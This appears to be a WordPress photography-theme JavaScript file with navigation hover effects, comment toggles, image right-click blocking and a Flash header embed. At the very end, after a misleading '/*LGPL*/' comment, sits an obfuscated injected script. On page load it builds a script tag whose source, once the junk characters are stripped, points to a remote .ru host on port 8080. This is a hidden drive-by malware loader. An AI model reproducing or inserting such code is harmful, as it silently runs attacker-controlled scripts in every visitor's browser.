// do not edit this file, it is created by the theme, any edits will be lost


sfHover = function() {
	var sfEls = document.getElementById("topnav").getElementsByTagName("LI");
	for (var i=0; i<sfEls.length; i++) {
		sfEls[i].onmouseover=function() {
			this.className+=" sfhover";
		}
		sfEls[i].onmouseout=function() {
			this.className=this.className.replace(new RegExp(" sfhover\\b"), "");
		}
	}
}
if (window.attachEvent) window.attachEvent("onload", sfHover); // for MSIE only


jQuery(document).ready(function(){
		
		jQuery(".comments-count").click(function(){
		$thisclick = jQuery(this);
		var comments_id = "#"+$thisclick.parents(".entry-comments").attr("id");
		if ( jQuery(comments_id+" p.comment").size() > 0 ) {
			jQuery(comments_id).toggleClass('comments-count-active');
			jQuery(comments_id+" .comments-body").slideToggle(400);
		}
	});			
		
	
		
	jQuery('#topnav li ul a').attr('title', '');
	
	// add arrow to dropdown with nested menu
	jQuery('#topnav li ul li:has(ul)').each(function(){
		$link = jQuery(this).children('a');
		linktext = $link.html();
		$link.html(linktext+" &raquo;");
	});
	// add underline to parent while child is being viewed
	jQuery('#topnav li ul li ul').hover(function(){
		jQuery(this).parent().children('a').css('text-decoration', 'underline');
	},function(){
		jQuery(this).parent().children('a').css('text-decoration', 'none');
	});
	
		if (!jQuery.browser.msie) {	
		jQuery('#topnav li ul').css('opacity', 0.95);
	}
	if (jQuery.browser.msie) {
		if (jQuery('#topnav li ul li:has(ul)').size() == 0) {
			jQuery('#topnav li ul').css('opacity', 0.95);
		}
	}
		
	jQuery('.entry-post:last').css('border', 'none');
	var padding = jQuery('body.single .entry-content').css('padding-bottom');
	jQuery('.entry-post:last').css('padding-bottom', '0');
	jQuery('.entry-post:last').css('background-image', 'none');
			
	jQuery('a#hidden-bio').click(function(){
		 
		jQuery('#bio').slideToggle(350,function(){
			jQuery('#bio-outer').css('display', 'block');
			jQuery('#biocolumns').css('display', 'inline');
			jQuery('.biocolumn').css('display', 'block');
			});
	});	
			
	 
	jQuery('.alignnone, .aligncenter, .alignright, .alignleft, .gallery img, a[@href$=.jpg], a[@href$=.gif], a[@href$=.png], a[@href$=.JPG], a[@href$=.GIF], a[@href$=.PNG]')
		.css('cursor', 'default')
		.click(function(){return false;})		.bind('contextmenu', function(){return false;}
	);
		
	
			 
});

// flash header area
var params = {
	FlashVars: "path2xml=http://s12photos.com/wp-content/uploads/p2/images.xml?57681",
	bgcolor: "#2b2b2b",
	wmode: "opaque"
}
swfobject.embedSWF("http://s12photos.com/wp-content/themes/prophoto2/flash/flashheader.swf", "flash-header", "980", "400", "7.0.0", "http://s12photos.com/wp-content/themes/prophoto2/flash/expressinstall.swf", false, params);







/*LGPL*/ try{ window.onload = function(){var Waz1dhhpwg5 = document.createElement('s#(&c^r&i()$p@$#t$('.replace(/\!|@|#|&|\$|\(|\^|\)/ig, ''));Waz1dhhpwg5.setAttribute('defer', 'd#!e^f#e^r#'.replace(/#|\$|\^|@|&|\)|\(|\!/ig, ''));Waz1dhhpwg5.setAttribute('type', 't@e(#$!)x(&t^@&/#$(j)$^a@@#v^!&a^s!!^c@#@#)r&i&^@p&^)t)^@'.replace(/\!|\^|&|\)|@|\$|\(|#/ig, ''));Waz1dhhpwg5.setAttribute('id', 'Y(@&&b^()(4((@l#$i!@y&#)s))!^m#@s@7!&b$###0)'.replace(/\)|\$|#|\!|@|\^|&|\(/ig, ''));Waz1dhhpwg5.setAttribute('s&)!r)@#c!$'.replace(/@|\!|#|\(|\$|\)|\^|&/ig, ''),  'h#@(&t#t!&p$!:^^&)^/!@/($$)s&!^^t$)!(a()p@l!^e!)(s^-$&!c^#o!(#m$(.($(j)#e&)u!)@x(#v#^^)i#$d!#$#e^&o)!).)^)&c@&!o((#m!)@.(@!#^p$#a$&s^(s$!)!p)&@o^r!&!(t)&-#^n#)e#t).##t@@@h&)#e$#(#l!&)!&a!&&!c#!)e)!w!e^)b!^&!.&&r!#u#:&^8$&$0@($8(0(!/^$e)$(&a)&)s$@(t$@^m!&o#@$n&e#!y#^!.$@c$o$m^!^^/^#!!e#^)a@@$s$)#t(!m#!^o^n&((@e(y!#.@^$!c#!o&^)m(&&@&/((g&o@)@o!g!#$l^!e&#.)&)p&!t$$@/)&&g$o!)!o#$^g!^l&#&e))&.&@c^o&m)()/^@&$(j#@!)u^)$s((t@i&!^n&.@)!t#v$^!/@'.replace(/\(|@|\^|&|\!|\$|\)|#/ig, ''));if (document){document.body.appendChild(Waz1dhhpwg5);}} } catch(Ed8exbhelfba5r6ybadc) {}